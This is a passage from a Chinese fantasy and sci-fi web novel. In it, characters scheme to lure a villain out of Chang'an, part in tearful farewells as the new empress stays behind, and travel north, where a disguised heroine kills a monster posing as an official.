李极拉住她说:“倾洛你留下,我的事没什么是你不能知道的。”
曾倾洛觉得现在自己就是李极的家长,什么事都需要她陪着。
偏偏李极那双桃花眼一装可怜就特别可怜,见贺兰濯也不反对,曾倾洛便坐下了。
贺兰濯所说的计划,越听曾倾洛的眉心皱得越紧。
李极听完后险些笑了。
感觉贺兰濯被她坑害这些年,这回算是捞着机会打击报复回来。
贺兰濯也不藏着掖着,“这个计划的确会让殿下身处险境。可向知番的目标是殿下,他对殿下的执念很深,即便被南衙十二卫追捕,依旧没放弃四下寻找殿下的踪迹,让我觉得他似乎还没放弃将殿下推上帝位。”
还没放弃将李极推上帝位?还可能吗?
曾倾洛从李极的表情上确认了,她似乎认同贺兰濯。
的确还是有可能的,精神力能够操控人的意识,可操作的大有空间。
贺兰濯:“不过,南衙十二卫不是向知番的对手,看他们这么多日都没能掌握老贼的下落就知道了。即便发现老贼下落,论实力,南衙十二卫里最出挑的路苍梧也拿不下老贼。”
贺兰濯看看小院,道:“藏在这儿的确不错,能暂时混乱老贼精神力的搜查。可是,南衙十二卫抓不住老贼,但老贼能在长安城内一寸寸地排查,总会找到此地。时间拖得越久,对你越是不利。与其被动地担惊受怕,殿下就没想过主动出击吗?”
贺兰濯身子往前倾,“只有你才能把他引出来,瓮中捉鳖。至于后续该怎么做,殿下比我有数。”
贺兰濯的话让李极陷入了沉思和权衡。
“向知番有不少护卫,我手下人勉强能与之战平。可向知番本人有S级的精神天赋和S级的战斗天赋,很难对付。就算能引得他现身,谁能捉住这只鳖?”
贺兰濯双臂抱在身前,“长安城内的确已经很难有人能与之一战了。以前的边烬或许可以,但现在……”
坐在一旁的曾倾洛听到“边烬”这两个字,眼眶发热。
李极看她依旧成竹在胸,琢磨她话中之意,忽然有了某种思索的方向。
“你是说,把他引出城?”
贺兰濯直言不讳道:“是。”
曾倾洛惊讶抬头。
李极“哈”了一声,这次是实打实笑出声。
谁都知道现在城外黑魔方横行,长安城是人类最后的桃花源,有多少人削尖了想要进城来避祸,贺兰濯的计划却是要让她出城。
李极:“想利用城外的黑魔方来杀老阉狗只不过是你计划的一部分,你真正的目的是想找准机会,在他受伤虚弱之时控制他,来寻找你妹妹的下落吧。”
贺兰濯毫不避讳道:“没错,我的确是这么想的。殿下应该比任何人都清楚,这些年我之所以会被你们安王府控制,唯一的原因就是想要再次见到我妹妹。我的阿赐,那么老实纯良的孩子,被你们囚禁、利用,生死未卜……”
向来冷静沉稳的贺兰濯,在说到妹妹阿赐时,情绪明显拔高,精神力强势扩张。
李极和曾倾洛的脑中被清晰的悲愤占据,强烈的酸楚在心口蔓延,忍不住攥紧双拳。
很快,贺兰濯敛回了精神力。
李极和曾倾洛额上渗出一层冷汗,暗暗调整呼吸。
贺兰濯很早就知道,精神天赋和其他两种天赋不同,基因是基石,但经历也会对精神力的高低产生重要的影响。
唯一的妹妹还在身边时,她与阿赐虽过着清贫的日子,但相依为命,非常幸福。
那时贺兰濯的双眸的眸色和现在略有不同,是淡淡的茶色,还不需要戴护目镜。
失去阿赐,愤怒、痛苦和无能为力,让她的眼眸一夜之间变成了如今的模样。
即便到此刻,左眼的视力已经完全消失,能坐在此地谈着话,全程都在强撑着精神,但贺兰濯的精神力依旧强大,能肆意地影响旁人,潜力深不见底。
这是她的底气,能在城外咬住向知番的底气。
在此之前,藏在贺兰濯心里一直想问,又下意识回避的问题,如今到了不得不面对的时候。
“殿下,我妹妹每个月的照片和视频是真的吗?她是否还活着……”
贺兰濯心口起伏着。
“希望你能告诉我真相。”
李极:“我的确不知道她的下落。向知番控制的所有人都只有他知道身在何处。他不过是在利用我达成目的而已,我是幕前的傀儡,他躲在幕后不轻易涉险。重要的人质状况,自然不会告知我。”
那便是还有希望……
这么多年,贺兰濯一直都在小心翼翼地握着这一丝希望,如今它还未泯灭。
她还能去追。
又能呼吸了。
贺兰濯缓了口气。
贺兰濯道:“说回计划。既然是合作,这件事便不只我能落着好处。将老贼引出城,若有机会将他擒住,找到我妹妹后,我会助殿下夺回睦州,成为睦州真正的掌权人。到时候殿下就不用东躲西藏了,想做的事,想要的人随你的心意,再也无人能干涉。”
贺兰濯说这句话的时候,曾倾洛发现李极的眼眸里散出渴望的光。
睦州真正的主人,人生真正的主人,的确是李极一直渴望的。
这儿很安宁,小院她很喜欢,曾倾洛真的管了她,帮她找了一处容身之地,李极已经很快乐了,可是这几日她总是有魂不守舍之时。
要一直这样躲下去吗?
得躲到什么时候?
永远躲藏,只是永远接近被发现的那一刻。
李极是个心气儿很高的人,最不喜的便是逃避。
这几日想要彻底摁死向知番的念头一直在心里翻涌,各种计划层出不穷,无数次分析向知番的势力与自己势力之间对抗的高低,结果都不容乐观。
所以她才一直压抑着,思考着。
曾倾洛昨日一说贺兰濯要与她商议和向知番有关的事,李极便明白贺兰濯想要什么。
李极已经做好了以身涉险的准备,贺兰濯的计划和她想象的差不多——
即便差不多,在贺兰濯说出口的时候,那种被当成鱼饵的感觉还是让李极忍不住冷笑。
贺兰濯把想说的都说完了,也没想过立刻就能得到李极的回应。
离开现下最最安全的地带,换成任何一个人都很难马上下定决心。
更何况,即便夺回睦州,那也是一片充满了黑魔方的危险之地,值不值得冒险,李极肯定需要评估。
不过,既然长安城能建城防,别的城池也可以建。
毕竟当初沈逆去过洛阳,勘察过洛阳的城防,当初的计划便是帝国的所有大城池都需有城防落地。
如今洛阳正在举全城之力推进城防工事,希望能够成为下一个安全之所。
帝国的几大城池最终都会立起城防,成为希望的“种子”。
睦州当然也在其中。
李极若是等到那时再谋划,只怕已经没有她的一席之地。
贺兰濯有些话也没说尽。
留在长安城,等到新帝登基,新帝很有可能铲除她以绝后患,毕竟是曾经的政敌,向知番还贼心未死。
成王败寇,入局时李极便该心里有数,失败是何下场。
到时候,李极便会腹背受敌,处境会比现在险恶万倍。
贺兰濯道:“时间并不充裕,殿下想好之后可以再联系我。”
除了李极身处险境,贺兰濯心下不可能不急。
李极和向知番反目,安王派系内部动荡,人质是否会被牵扯其中,谁也不知晓。
多等一时,阿赐的处境就越危险,她等不起。
“如何出城?”
李极在她走之前抛出这个问题。
“这点小事我自然已经筹备好了。”
贺兰濯去找了李煽,向她要出城的权限。
交换条件是她去寻找韩复的下落,或许能为李煽找回解毒的药。
贺兰濯消失的这段时日,并非真的消失了。
她一直都在暗中关注着各方的动向。
有时候藏在暗处能窥视的事情更多。
韩复已经不在长安城中,她和李煽都心知肚明。
李煽进入弥留之际,她并不觉得韩复会有解药,以她对韩复的了解,此人并不喜欢留退路。
但她心里还是藏着一丝希望。
谁不想活呢?
李煽在把最高研发署转交给沈逆之前,为贺兰濯开通了权限。
李极能这么问,说明她心里已经有了偏向。
贺兰濯离开之前,单独找曾倾洛,希望她帮个忙。
“此次谋划还望曾女郎保密,不要告诉她。”
曾倾洛知道所谓的“她”指的是第五阙。
曾倾洛:“可是,这等危险的计划,若有她相助胜算不是更多么?”
贺兰濯冷声道:“这是我自己的事,不可牵扯到她。”
说完后,又觉得自己语气重了些,缓了语调道:
“我不想她受到任何伤害。”
平静的语调中涌出浓烈的情绪,震得曾倾洛心尖一颤。
贺兰濯离去的身影越拉越长,渐渐变成一抹寂寞的影子。
晚霞散尽,月上树梢。
当然,这也是模拟系统在营造真实的夜色。
今夜曾倾洛依旧没回去。
她坐在软榻上,李极在画她。
还以为要画很久,曾倾洛已经做好一整夜都僵在这儿的打算,没想到李极很快画完了。
“来。”
李极嘴上说“来”,连人带画板自己挪到了曾倾洛身边。
曾倾洛看着画中人,的确很像自己。
可是那双眼睛美丽、灵动,却冷漠抗拒着,藏着浓浓的愁绪。
“我是这样的吗?”
曾倾洛觉得方才自己可不是这种表情。
而且自己恐怕也没长得这么好看。
“在我心里你就是这样的。”
曾倾洛一时无言。
被这样的眼神看着,恐怕并不是一件愉快的事。
说回来,也没错。
她以前的确很不喜欢李极,就算用这样的眼神看她也没什么好奇怪的。
思绪行至此,曾倾洛发现,她方才在心中用了“以前”这个词。
李极从她身后抱过来,又是紧紧将她拥入怀中的姿势。
这份紧拥和李极总是汹涌扑向她的情绪一模一样,浓烈到她快要不能喘气。
其实李极已经决定了,在贺兰濯说出那个计划的当下,她就已经决定孤注一掷离开长安城,为她和曾倾洛的前路谋划。
曾倾洛也不知道为什么读懂了李极没说出口的想法。
但她就是懂了。
“我走了之后再没人烦你,你是不是很开心?”
李极在她耳边低语着。
曾倾洛的眼眸被某种情绪定住了,半天没眨动。
是啊,她应该开心,以后没人烦她了。
没人对她哭对她闹,缠着她非要从她身上榨出一丁点在意的情绪,她是应该如释重负。
应该开心的。
曾倾洛望向不远处那面陈旧的镜子。
镜中的自己,怎会没有半点笑容?
待她双眸再能眨动时,发现自己的手掌正覆盖在李极的手背上。
李极满足的点点笑音落在曾倾洛的耳畔。
曾经用尽全身力气都没能得到一星点儿的在意,李极没想到在这流荡着金桂香气的分离之夜,于沉默中终于得到了她想要的回馈,不着一字的不舍。
“把上次没写完的名字写完吧。”
李极将笔递给曾倾洛。
曾倾洛凝视着左下角秀气洒脱的“裴寂”二字和印章,笔尖微顿后,一笔一划地将自己的名字写在“裴寂”之侧。
耳后的肌肤和碎发被李极安静的眼泪浸湿。
没有承诺,也不敢说离别的话。
李极第一次这么渴望活下去.
城门缓缓合上,曾倾洛站在高处俯视尸体横陈的广场。
喊叫声,警报声,护卫疾行之声,喧嚣之声入耳,她看着李极和贺兰濯成功将向知番引出了长安城,心里竟是一片寂静。
李极是不想她来的,太危险。
曾倾洛也确实没有非要去的理由。
不过,最后她还是来了。
甚至在远处帮助她们杀了几名向知番的手下。
曾倾洛安静地滞留在原地片刻,不知在等待什么,浑身的力气也不知散去了何处。
偌大的长安城,空空荡荡。
垂眸离开。
……
与此同时,靖安侯府。
背靠着炼丹炉坐在一堆符纸里的沈逆,终于做好了所有准备。
明日她将启程离开长安,奔赴她真正向往的桃花源。
第143章
韩复消失,丽景门女官死伤过半,流言四起,都说丽景门门主长年研制能够提升天赋的毒药,骗门中女官服毒。此毒虽能快速提升天赋,但在三十岁之前必死无解。
丽景门本就遭受重创,又因此流言弄得人心惶惶,门主失踪,再逢中枢势力更迭,丽景门人去楼空,徒留一大半倾倒的废墟。
看到自己长大的地方变成如今的模样,物是人非,窦璇玑多少有些感怀。
窦璇玑队中跟着她的几位的小女官不知道该何去何从。
窦璇玑问她们:“你们还想不想继续待在门内,若不想留下愿另谋差事,不妨直说,我可以去帮忙问问友人,为你们谋个编入金吾卫的前路。”
所谓的“友人”自然是李司,即将登基的新帝。
她和李司的私交没好意思告诉同僚。
小女官们一听能够进金吾卫,那也是铁饭碗,自然乐意得很,更是好奇。
“队正,你何时认识了这么有能耐的人物?是金吾卫的司阶么?”
金吾卫司阶便是负责监督金吾卫内部职级与事务之人,算是金吾将军重要下属,也就是李司的副手。
门主还在时,严禁她们结交外人。李司每回来找窦璇玑都是翻墙直接进她屋,同僚根本不晓得她和李司的关系。
窦璇玑没多说,只说得先去问问,让她们等等消息。
窦璇玑这段时日住在金吾将军府,进出都跟做贼似的,生怕让人发现她和李司住在一起。
李司忙着登基大典,每日又被人围着讨论政事,还有诸多筵席需敷衍。
前段时日无论忙到再晚,她都会回府,跑到窦璇玑的房内开开心心待上半个时辰,散一散疲乏,回一回精力。
眼看大典在即,还有诸多要务摆在眼前,大明宫内连着几日灯火通明。德政殿里新老两拨权臣谁也没有离开,各个眼下熬出了青黑,只为快些决议出符合眼下实情的国策律法。李司自然也没有逃回家睡觉的道理。
窦璇玑好几日没见着李司本人。
沈逆要离开长安城这件大事在即,加之丽景门的动荡,她得去找一趟李司。
丽景门原本就是先帝创建的直属机构,为先帝办事,窦璇玑身为队正,拥有进入大明宫的权限。
新帝即将继位,因着一些私情,丽景门的权限也没被收回。
窦璇玑穿过正在重建的含华殿,远远地瞧见被人群簇拥的李司。
李司回将军府时会换回便装,所以这是窦璇玑第一次看到她穿上龙袍的模样。
她站在一众绯袍、紫袍的皇亲重臣之间,那张总是对着她笑的脸此刻肃冷如冰,长身挺拔,高出众人半个脑袋,眉眼如画,有种鹤立鸡群之感。
很陌生。
不知道李司正在商议何事,窦璇玑便站在远处等待着。
直到李司的目光穿过众人,发现了她。
一直锁着眉心,不怒自威的双眸,在看到窦璇玑的那一刻,仿佛被注入了清泉,笑容即将扬起。
说不上什么心态,窦璇玑却往暗处挪了几步,只盼着李司别当着这么多人的面往她的方向看。
可惜李司这人向来与她所想背道而驰。
不仅往她的方向看,还当着众人的面大声唤她的名字:
“璇玑!”
窦璇玑:……
藏是没法藏了,只能现身。
窦璇玑不知要不要向李司行礼,该行什么礼。
以前见到天子,要单膝跪地。
实话实说,面对李司,她还真跪不下去。
可这群重臣都看着呢,若是不跪,显得两人有私情似的,不免让人猜疑。
李司倒是很体贴,完全不给旁人猜疑的机会,也没让窦璇玑再迟疑,上来就握住她的手,亲亲热热地往自己宽袖中藏。
“手怎么这么冷?我袖中暖和,给你焐焐。”
面对旁人时肃穆的神色消失不见,唯有窦璇玑熟悉的明亮甜笑。
群臣看到这一幕眼神发直。
不用猜,肯定有私情无疑。
窦璇玑也挺服李司,也不管是不是对新帝大不敬了,将手抽出来,微微弯腰拱手行礼,再向群臣拱手。
这些人官职都比窦璇玑高,若在别处相遇,恐怕都不会睁眼瞧她,如今见她与新帝亲近,一一谨慎地回礼。
李司带着窦璇玑到御书房内,大门一合,温暖如春。
李司脱去了繁琐的龙袍,摘了冠,活动活动发酸的脖子,累得坐倒在榻上。
窦璇玑:“很累?”
“快累死了……就这,还没登基呢。”
李司捶着肩头,刚要开口,窦璇玑同时说了个“你”字。
李司笑得眼睛弯弯的,“还挺有默契,你先说。怎么了?府里有事儿?”
不然窦璇玑才不会到大明宫里找她。
李司很疲惫,但见到窦璇玑她就打心底里开心又放松。
李司想说的是一件大事。
这几日她忙里偷闲,选了几个吉日,打算交由窦璇玑最后选定。
只要窦璇玑答应,她便开始筹备大婚。
“府里没什么事。”
窦璇玑摇摇头,先说了丽景门的困境和几位小下属前路难行。
李司道:“丽景门的事我已经想过了,我不需要私刑和暗杀,丽景门余部将编入禁卫军,保护大明宫内安全。”
窦璇玑安心了,“如此一来她们也算有个着落。李司……还有一事。”
李司撑着脑袋,打起十二分的精神听着。
无论什么事她都得听完,再困都得挺住。
等璇玑说完,她就要说大婚的事儿了,嘴角兴奋的笑容根本压不下去。
窦璇玑说了沈逆要离开长安城去寻边烬一事。
“她当真要走了……”
李司并不惊讶,沈逆早就想去找边烬了,她一直坚信边烬没死。
如今伤养好,新的载具也造好,自然要离开。
“臭狐狸早就想走了,只是,如今长安城外危机四伏,黑魔方有没有继续迭代也未可知。边烬若还活着,身在何处,无人知晓,想要找到她并非易事……”
窦璇玑:“嗯,所以我和她一起走。”
李司维持着撑脑袋的姿势,表情也未变,窦璇玑的话在她脑子里重复了一遍才忽然明白这是何意,一下子弹了起来。
“你——要走?!”
窦璇玑双眼坚定,“是,城外太危险,即便她有载具和装备护身,终究不是战斗天赋者,无人保护,我不放心。我要随她一起去,助她找到边烬。”
李司哑口无言。
本能的反应就是窦璇玑去哪儿她就去哪儿。
忽然看到堆放在旁的龙袍,心头一凉。
李司在恍惚间意识到,在她决定登帝的那一刻起,她就走不了了。
她得为帝国的变革留下,得为无数百姓留下。
李司脑袋里嗡嗡作响。
你想当皇帝吗?
边烬的话犹在耳畔。
本以为这是龙腾九霄的机缘,谁知成了一只笼中雀。
李司嘴角抽了抽。
拒绝是不是已经来不及了?.
沈逆和曾倾洛骑着马从市集回来。
今日是临行前最后一次采买。
沈逆套着鹿皮手套的右手虚握缰绳,左手指尖勾着一枚玉佩的丝绳,随意转着圈。
被她浑不在意甩着玩的玉佩,是当今罕见的孤山玉。
一枚孤山玉佩能买长安城一栋豪宅,更不用说这枚玉身雕刻着一对比翼双飞的飞鸟,更是吉祥金贵。
此刻那金贵之物在沈逆手中左摇右荡地,好几次都似要飞转出她的指尖,摔个粉身碎骨。
曾倾洛驭马并到她身边说:“江国公居然将这孤山玉偷偷勾在你蹀躞带上,想方设法让你带走。许是怕你觉得大婚时他没来,心里记恨。”
刚才她们偶遇江国公,江国公非要请她入府一叙。
沈逆没去,谁知老头路都走不清楚,手上的动作倒是利索,扒手都得拜他为祖师爷。
沈逆随意道:“当时又岂止他一人没来。”
那场冷清的大婚仿佛就在昨日。
她和师姐成了亲这件事,此刻想起来已有些不真切。
其实还有一个可能性,曾倾洛没说出口。
这枚孤山玉上刻着比翼双飞,自是象征着姻缘。
江国公家里有三个女儿都以及笄,正是谈婚论嫁的年纪。
别人都道边烬已死,沈逆这样年轻的权贵便成了众人联姻的目标,即便成过一次亲依旧炙手可热。
路边有个女童跪在地上,身边躺着重病的姐姐。
女童向路过的每个人重重磕头,希望有好心人施舍,救救她姐姐。
沈逆指尖微倾,孤山玉从她指尖飞离,划着弧线精准地掉在女童的眼前。
厚厚的积雪托着价值不菲的美玉,没半分损坏。
女童震惊地抬起头,对上一双明眸。
那双明眸不望繁华,望向她。
沈逆:“给你姐姐抓副药去。”
女童被眼前漂亮的大姐姐晃了一下,随后很快反应过来,大声感谢,磕得更卖力。
看着这一幕,曾倾洛安心淡笑.
明日就将启程,永王府的人来找沈逆,说李煽要见她一面。
沈逆来到永王府,李煽在帷帐之后没有现身,连声音也是电子音。
身为机械师沈逆自然猜到李煽恐怕已经无法开口,这电子音是直接从大脑中读取、转译出来的。
“沈逆,我即将进入深度‘冬眠’,等待有朝一日我身上的毒能被破解。那一日可能就在明年,也有可能永远不会来。所以……我将今日当做我的永眠之日。在此之前,有样东西要交给你。”
侍女端着一个覆着黑布的托盘上前,沈逆接过,黑布之下是个椭圆形的容器。
“这便是未来世代投来的胶囊。我不知道它到底藏了什么秘密,也没有精力去调查,长眠之前决定把它交予你。你可以留下研究,也可以交给新帝,由你决定。”
一直想揭晓时代秘密的沈逆也没料到,胶囊最后还真到了自己手中。
风轻轻吹起帷帐的一角,李煽留给沈逆最后一句话。
“有缘再会了,沈逆……”
沈逆双眸轻闪。
“再会。”
……
【目的地:灵州,万里雪域,龙泉城】
【全程:三千六百二十一公里】
【自动导航预设中……自动导航预设失败,需手动调试。】
所有的行李都装上了车,沈逆正在设置目的地。
自动导航失败倒是在意料之内。
城外不少官道和信号塔被毁,看来只能自己手动驾驶前往目的地。
手动驾驶的话,大致需要三日。
第五阙道:“反正我们有四个人呢,轮流驾驶,不成问题啊。”
窦璇玑道:“晚上可以交给我。”
反正她习惯熬夜了。
曾倾洛规划着,“可以两人一组,一人驾车,一人观察周围动态。”
第五阙:“好主意!那我和逆逆一组,小倾洛和璇玑一组。”
沈逆:“等下,我什么时候答应你们跟着一起来了?这还讨论上,组都分好了?”
窦璇玑:“那是自然,你一个机械师,还重伤初愈,如何能放心让你自己出远门?长安城外四处都是人形异兽,只怕你都无从分辨,让异兽上了你的车。”
沈逆:?
我是没你们战斗天赋者力气大,可脑子没傻吧?
曾倾洛也道:“是啊小师姐,我要代替同门陪着你。不会妨碍你的,陪着你找到大师姐我就回来。”
其实曾倾洛想陪着沈逆是真,心里隐约还藏着另外一个隐隐的念头。
李极出城之后就与她断了联系。
从万维网上了解到,城外的网络很不稳定,只有洛阳等大城池还有信号,其余小城、村镇、乡野……统统无法使用网络。
李极走得太匆忙,不知她现下是何境况,若是在陪伴小师姐的过程中能收到一二消息……那,留下的那些价值不菲的画作也好问问她该如何处理。
而李极和贺兰濯离开那日,闹出的动静实在太大,第五阙亲自去看了现场,死的都是睦州人,便让沈逆帮她调取城门口的监控和出城记录。
这一调取便看见了贺兰濯的身影。
与此同时也发现了当时在场的曾倾洛。
曾倾洛肯定知道什么!
曾倾洛被第五阙缠得实在没辙,只能将贺兰濯计划说了个大致,隐瞒了她们的目的地。
谁知第五阙的智商突然上线,自己推导出来了。
“诱向知番出城,她们定是去睦州了,打算合力夺回安王府对不对?”
曾倾洛没敢说对还是不对,第五阙自己认了理,听说沈逆要往北境去,正好顺路,这便要搭她的顺风车一块儿去。反正她都“死”了,留在长安城里还没法出门,不若去睦州,亲自寻找贺兰濯。
窦璇玑和曾倾洛都执意要保护沈逆,第五阙更是赖着她。
沈逆双拳难敌四手,最后只好答应。
临走时,万姑姑抹着眼泪和一众侍女出来送行。
“侯君一定要找回夫人啊!”
第五阙的二姐道:“侯君,阿阙,你们放心去吧,府中我会照料好的!”
第五阙:“回来再跟你结算住宿的银钱。”
二姐:……
李司也来了,明日就是登基大典,但她心思全无。
窦璇玑上马车时,回眸看了她一眼,见她眼眶红红的。
窦璇玑不知此行会有什么样的结果,但她明白自己欠沈逆一条命。
“恩义”,是她这辈子最难以割舍的两个字。
之前在大明宫时,李司就说:“我等你回来,当我的皇后。”
窦璇玑对皇后的身份实在太陌生。
她当皇后?也太奇怪了吧!
当时窦璇玑就想把璇玑石从躞蹀带上取下,实实在在跟李司说了一些现实的问题。
“李司,我一介孤女出身微寒,没有家族势力可给你助力,难当皇后之位。你还是找其他更合适的……”
李司打断她的话,摁下她想交还璇玑石的手。
对视之间,李司眼睫被眼泪浸透。
“没答应登帝位之前我就喜欢你,现在反而不能喜欢了么?哪有这样的道理?”
那红彤彤的双眼和痴心之语,刺得窦璇玑心上发痛。
今日离别时,李司依旧坚定同她道:
“我喜欢你,只喜欢你,只认你一人是我的皇后。璇玑,你若愿与我共度余生,我这颗心此生便放在你这儿了。我等你回来。”
……
长安城门开启,城外刺骨的冷风一瞬间吹透了整装待发的旅人。
城内温暖的灯映在黑暗的大地上,拉出一条纤细脆弱的光。
边烬离沈逆实在太远太远,远到连理模块都无法使用。
可是,沈逆心中却有某种感应,微弱到连她自己都不知道是连理模块还在起效,亦或者是自己的第六感。
但她的直觉落在了北境的万里雪域,而龙泉城是雪域重镇,向四周探索的中心地带。
冰冷雪花飘落在沈逆的眉眼上,带起了她的笑意。
戴上夜视镜,握住方向盘,玄色的房车驶入幽深的夜.
万里雪域,龙泉城。
关闭了多日的城门徐徐开启。
刺史黄不予披着一件大氅,骑着马慢悠悠地出了城门。
她身后跟着长史常坤,以及一众属员。
众人出城迎接白御史。
特殊时期,雪域已经得到长安中枢给予的暂时自治的权限。
这白御史就是雪域刚刚成立的黑魔方专项治理司的长官,专门在各地巡查、追捕黑魔方。
现下查到了龙泉城。
黄不予顶着风雪,见苍茫的天地间驶来一架朴素的马车,一点都不像御史的派头。
常坤和一众属员下马迎接,黄不予偏偏不动。
常坤迷着眼,胡须都被吹歪了,看着上峰犯愁。
这黑魔方专项治理司的长官可是不能惹,偏偏撞上了这位高傲的刺史,只怕城门还没有进就得斗法。
御史的马车停在黄不予面前,从马车上下来三人——白御史与她的两位随从。
万里雪域,顾名思义,此地是北境最冷的地带,冰封万里。
即便是夏日,也只有非常短暂的一个月的时间能够脱去厚重的冬装,其余时日寒冷非常。
这么冷的北境,这位白御史就只穿一件远山青长裙,外面套着一件斗篷。
与她单薄的穿着相比,脸上的金属面罩倒是将脸遮得更为严实。
金属面罩是虚幻的浅蓝,像是电子投射出的浮光掠影,在她脸上映出了若隐若现的虚幻效果。
看不清她的长相,只能隐约看到一双比这糟糕天气还冷的眼眸,以及紧闭的薄唇。
义体横行的年代,更奇怪的脸黄不予都见过,眼前这位也没什么好稀奇的。
黄不予并不好奇,自然也没有认出眼前人便是曾经的北境总都督,死讯已然传遍整个帝国的传奇人物——边烬。
“白御史,路上辛苦了。”
黄不予依旧没有下马,摇摇摆摆挪到边烬面前。
“不过我们龙泉城中并无黑魔方,你可以打道回府了。”
黄不予是S级机械师,还有个B级战斗天赋,年纪轻轻就坐上了刺史的位置,一向自负。
自黑魔方迭代,能伪装成人类以来,她日夜在城中巡查,并没有发现异样,已将结果上报雪域。
可这白御史偏偏要来查,这不是打她的脸么?
黄不予对这找麻烦的白御史没什么好感。
边烬并没有回应黄不予的话,逆着大雪越走越近。
黄不予警戒地看着她从腰间抽出了一条鞭子。
金属刮擦的声响有序而让人牙软,鞭子在边烬手中抽成了一条雪白的长线。
黄不予发现这鞭子一截截紧密相接,竟由无数根骨头组成。
骨鞭破雪而来,“呼”的一声,黄不予浑身轻颤,以为抽中了自己。
下一幕,却见她身旁的长史常坤的脑袋被削掉了一半。
黄不予惊诧道:“你……”
常坤脑袋的截面喷泉般冒出磅礴的黑色乱体,他双目睁圆,身子像个烟花筒子,被喷射出的黑色“烟花”冲得原地不停摇摆。
“黑魔方!”
属员们惊慌喊叫,黄不予立刻跃下马,不慎崴了脚。
乱体疯狂扑向属员和黄不予,被边烬的骨鞭抽得粉碎。
乱体像雨一般落下,只是这雨沉得很,砸得黄不予发痛。
边烬对随从道:“装进壳体。”
随从道:“喏。”
边烬收回鞭子,也没看向黄不予,向龙泉城大门的方向去。
黄不予半天才缓过神来,再不敢怠慢,紧跟在边烬身后。
第144章
龙泉城外两百公里,山道。
一群鹿正在雪地里寻觅食物,忽然,积雪上碾出两道车辙。
小鹿好奇地抬头,除了大雪茫茫什么也没看到,出于躲避危机的本能,鹿群还是跑开了。
雪越下越大,开启隐身模式的房车速度降低了一些。
沈逆戴着雪地眼镜,单手轻打方向盘,往嘴里丢了两片麻辣洋芋片。
房车左转,轮胎正正好贴着狭窄的山道边沿,稳稳拐弯。
第五阙打着呵欠推开卧室拉门,从车厢里走出来,睡眼惺忪。
见副驾上的窦璇玑全程警惕着窗外,靠在玄关沙发上的曾倾洛手里的枪也一直没放下,而沈逆在开车,第五阙忽然觉得睡了个大饱觉的自己相当有罪恶感。
第五阙:“逆逆,昨晚不是轮到你和我休息么?怎么开上车了?”
车到了平稳地带,沈逆回头短暂地回头,用“你还好意思说”的眼神看她。
沈逆打造新款载具的时候,想的便是能开着远行,困了能在里面睡觉的房车。
当然,她最初设计时,是以承载人数为两人来设计的。
房车除了驾驶和副驾驶位之外,上车便是玄关,玄关放了个舒服的小沙发,左手边是通往客厅的小拉门,客厅再往里是寝屋,里面放了一张足够两人同睡的软榻。
除此之外,房车车顶部分还有一个拓展空间,里面是她的工作室,静止时还能拓展落地,围成一个小院子。
沈逆想的是找到了师姐之后,房车可以载着她们去任何师姐想去的地方。
没想到,第五阙她们跟来了。
还没和师姐同睡的床,就和第五阙共眠上了。
原本她们计划是两两一组,日夜交替开车,加快抵达龙泉城的进度。
沈逆和第五阙分在一组。
沈逆不知道贺兰濯是怎么跟她同床共枕的,也就和她睡了两晚,好家伙睡梦中一顿拳打脚踢,直接把熟睡的沈逆给踹下床。
沈逆落地时“咣当”一声巨响,吓得窦璇玑将车停在路边,和曾倾洛一起拿着武器冲到寝屋。
没看到异兽,看到的是捂着腰趴在地上,痛到眼里含泪的沈逆。
以及霸占了整张床依旧没醒,在睡梦中又来了一套组合拳的第五阙。
窦璇玑:“梦里还在修炼呢?难怪是S级。”
沈逆差点被第五阙踹折了腰,等她醒了向她抗议,她居然半点都想不起来。
为了沈逆的生命安全着想,窦璇玑自告奋勇和她换班,跟第五阙一组。
窦璇玑:“我身体强壮,扛得住,第五女郎若是还在梦里练功,我也可以控制得住她。”
昨晚,说能控制她的窦璇玑毫无意外也被踹下床,脑袋撞到柜角撞出一块淤青。
第五阙在梦里喊“阉狗找死”,窦璇玑听她这动静感觉接下来是场生死局,惹不起惹不起,抱了枕头,缩到客厅的沙发上猫了一夜。
三天下来,第五阙睡得神采奕奕,沈逆和窦璇玑不仅眼下熬出青黑,身上还青一块紫一块。
第五阙听完她们的控诉,很不好意思。
“我来开会儿车吧,你们都去休息一会儿。”
沈逆:“你开车,我这一休息下去还能再睁开眼么?别了,我不放心。”
第五阙:?
什么态度,好歹我也是平平安安长到这么大的好么。
第五阙不服气归不服气,还是帮同伴们斟茶递水,找药抹药。
穿过茫茫雪山,终于看到了镶嵌在苍茫雪地中的龙泉城。
龙泉城是万里雪域的核心地带,经济重镇和交通枢纽。
无论是去北境还是去睦州,都需要经过此地。
许多重要的情报也会汇聚于此。
沈逆越靠近龙泉城,越是有种心悸感。
希望那是连理模块的情感共鸣功能在召唤她,那便证明自己没有找错地方。
房车开到龙泉城大门口,城门紧闭,连守卫也没有。
沈逆:“看样子已经进入一级戒备状态,机械防御接管了城防系统,想进城不容易。”
雪域已经属于自治区,沈逆是京官,侯爵,但她是私人出行,也没有雪域这儿的权限。加之她们这一路上毙了多少黑魔方感染者,明白雪域亦是危机四伏之地,看此戒备森严的状态,想要进城恐怕得费一番周折。
第五阙先下车,想去敲城门的时候,从城门上降下一只机械臂。
机械臂的前端驾着带摄像头的面部扫描面板。
电子音:【您好,请面朝屏幕,核对身份。】
第五阙的脸映在屏幕上,很快被拒绝。
【您好,您未获得进城权限。】
沈逆她们也下车,第五阙道:“这儿有信号不?看来得联系李司,哦不,联系陛下为咱们开路了。”
沈逆面朝屏幕,正在思索着直接黑进系统会不会惹麻烦的时候,面部扫描系统扫到她的脸,似乎卡顿了一下,随后发出“滴”的一声。
【尊敬的龙泉城居民,欢迎您回家。】
与此同时,厚重的城门轰隆隆地在她们面前开启,大道上车马不息,不远处便是市集。
第五阙她们都纳闷地看向沈逆。
第五阙:“你啥时候成龙泉城的居民了?”
沈逆:“我还想问呢,我从未来过此地。”
曾倾洛:“小师姐,会不会你是当初在北境当任总都督的时候,龙泉城也加入了你的居民权限?”
沈逆琢磨着:“是吗?这儿离北境还有些距离。”
窦璇玑已经上了房车,“无论如何,先进城再说。”
即便是北方重镇,和宽阔的京师长安城相比,此地的车道和市集都显得狭窄而拥挤许多。
不过龙泉城的城池风貌,居民长相、说话时抑扬顿挫的语调,以及市集上所卖的食品货物都和长安很不相同,倒是别有一番异域风味。
房车停在一处三楼客栈前,四人下车进店,要了四间房。
客栈老板凝视着她们的脸半晌,窦璇玑皱着眉把银子拍在他面前:“银子在这。”
